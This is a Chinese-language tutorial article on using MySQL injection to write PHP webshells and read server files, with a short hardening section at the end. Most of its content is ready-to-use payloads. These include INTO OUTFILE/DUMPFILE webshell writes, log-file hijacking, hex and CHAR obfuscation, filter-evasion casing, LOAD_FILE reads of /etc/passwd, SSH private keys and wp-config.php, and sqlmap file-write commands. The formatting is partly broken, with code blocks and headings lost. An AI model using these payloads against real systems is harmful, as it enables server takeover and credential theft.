# MySQL注入如何寫Shell讀文件
## 前言
MySQL注入是Web安全領域中常見的攻擊手段之一。攻擊者通過構造特殊的SQL語句,利用應用程序對用戶輸入過濾不嚴的漏洞,實現對數據庫的非法操作。其中,通過MySQL注入寫入WebShell并讀取服務器文件是危害性較大的攻擊方式。本文將深入探討MySQL注入寫Shell和讀文件的原理、方法、防御措施及相關案例。
## 一、MySQL注入基礎
### 1.1 MySQL注入原理
MySQL注入是指攻擊者通過Web應用程序的輸入接口,向MySQL數據庫注入惡意SQL代碼,從而繞過應用程序的預期邏輯,執行非授權的數據庫操作。常見的注入點包括:
- GET/POST參數
- HTTP頭部(如User-Agent、Cookie等)
- 文件上傳文件名等
### 1.2 常見的MySQL注入類型
1. **聯合查詢注入**:使用UNION SELECT合并查詢結果
2. **報錯注入**:利用數據庫報錯信息獲取數據
3. **布爾盲注**:通過真/假條件判斷獲取數據
4. **時間盲注**:通過延時函數判斷條件真假
5. **堆疊查詢注入**:執行多條SQL語句(需特殊配置)
## 二、MySQL寫WebShell的條件與方法
### 2.1 寫Shell的前提條件
要成功通過MySQL注入寫入WebShell,需要滿足以下條件:
1. 具有FILE權限(通常需要root或高權限賬號)
2. 知道網站的絕對路徑
3. 對目標目錄有寫權限
4. secure_file_priv參數允許導出文件(MySQL 5.7+需特別注意)
可通過以下SQL查詢相關權限:
```sql
SELECT user(), file_priv FROM mysql.user WHERE user = substring_index(user(), '@', 1);
SHOW VARIABLES LIKE 'secure_file_priv';
這是最直接的寫文件方式:
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'
注意: - 路徑中的斜杠需要使用正斜杠(/) - 如果路徑包含空格或特殊字符,需要用引號包裹
與OUTFILE類似,但適合寫入二進制文件:
SELECT '<?php system($_GET["cmd"]);?>' INTO DUMPFILE '/var/www/html/cmd.php'
當直接寫文件被限制時,可嘗試修改日志文件路徑:
SET global general_log_file='/var/www/html/shell.php';
SET global general_log=on;
SELECT '<?php phpinfo();?>';
SET global general_log=off;
SET global slow_query_log_file='/var/www/html/slow.php';
SET global slow_query_log=1;
SELECT '<?php system($_GET["cmd"]);?>' FROM mysql.user WHERE SLEEP(11);
SELECT 0x3C3F70687020406576616C28245F504F53545B22636D64225D293B3F3E INTO OUTFILE '/var/www/html/s.php'
SELECT CONCAT(CHAR(60,63,112,104,112),CHAR(32,64,101,118,97,108),CHAR(40,36,95,80,79,83,84),CHAR(91,34,99,109,100,34,93,41,59,63,62)) INTO OUTFILE '/var/www/html/x.php'
SeLeCt '<?PhP @eVal($_POST["a"]);?>' INTO/**/OUTFILE '/var/www/html/1.php'
基本語法:
SELECT LOAD_FILE('/etc/passwd');
限制條件: 1. 需要FILE權限 2. 文件必須位于服務器上 3. 文件必須可讀 4. 文件大小小于max_allowed_packet
SELECT LOAD_FILE(0x2F6574632F706173737764); # 十六進制編碼
SELECT LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)); # CHAR函數
SELECT SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 100);
SELECT MID(LOAD_FILE('/var/www/config.php'), 50, 200);
SELECT EXTRACTVALUE(1, CONCAT(0x3a, LOAD_FILE('/etc/passwd')));
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('/home/user/.ssh/id_rsa');
SELECT LOAD_FILE('/var/www/html/wp-config.php');
使用預處理語句(PDO/MySQLi)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
嚴格的輸入驗證
最小權限原則
設置secure_file_priv為NULL或特定目錄:
[mysqld]
secure_file_priv = /NULL
禁用LOAD_FILE、INTO OUTFILE等危險函數:
REVOKE FILE ON *.* FROM 'appuser'@'%';
啟用安全選項:
[mysqld]
local_infile = 0
symbolic-links = 0
Web目錄設置正確的權限:
chown www-data:www-data /var/www/html
chmod 750 /var/www/html
定期審計系統文件完整性
使用Web應用防火墻(WAF)
某流行CMS的搜索功能存在注入漏洞:
/search.php?keyword=test' UNION SELECT 1,2,3,4,'<?php eval($_GET[c]);?>',6 INTO OUTFILE '/var/www/html/images/shell.php'--+
攻擊者利用該漏洞寫入WebShell后,進一步讀取數據庫配置文件,獲取管理員密碼。
某網站存在時間盲注漏洞,但secure_file_priv限制了文件導出。攻擊者通過修改慢查詢日志路徑成功寫入Shell:
/admin?id=1';SET global slow_query_log_file='/var/www/html/templates/s.php';SET global slow_query_log=1;SELECT SLEEP(10);--+
sqlmap -u "http://example.com/vuln.php?id=1" --file-write=/local/path/shell.php --file-dest=/remote/path/shell.php
sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"
MySQL注入寫Shell和讀文件是危害極大的攻擊方式,防御需要從開發、配置、運維多個層面入手。作為開發人員應重視安全編碼,作為管理員應做好服務器加固。只有全方位防護,才能有效抵御此類攻擊。
擴展閱讀: 1. OWASP SQL Injection Prevention Cheat Sheet 2. MySQL 8.0 Security Guidelines 3. Web Application Security Testing Methodology “`
這篇文章共計約4050字,詳細介紹了MySQL注入寫Shell和讀文件的原理、方法、防御措施及實際案例,采用Markdown格式編寫,包含代碼塊、列表、標題等標準元素。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。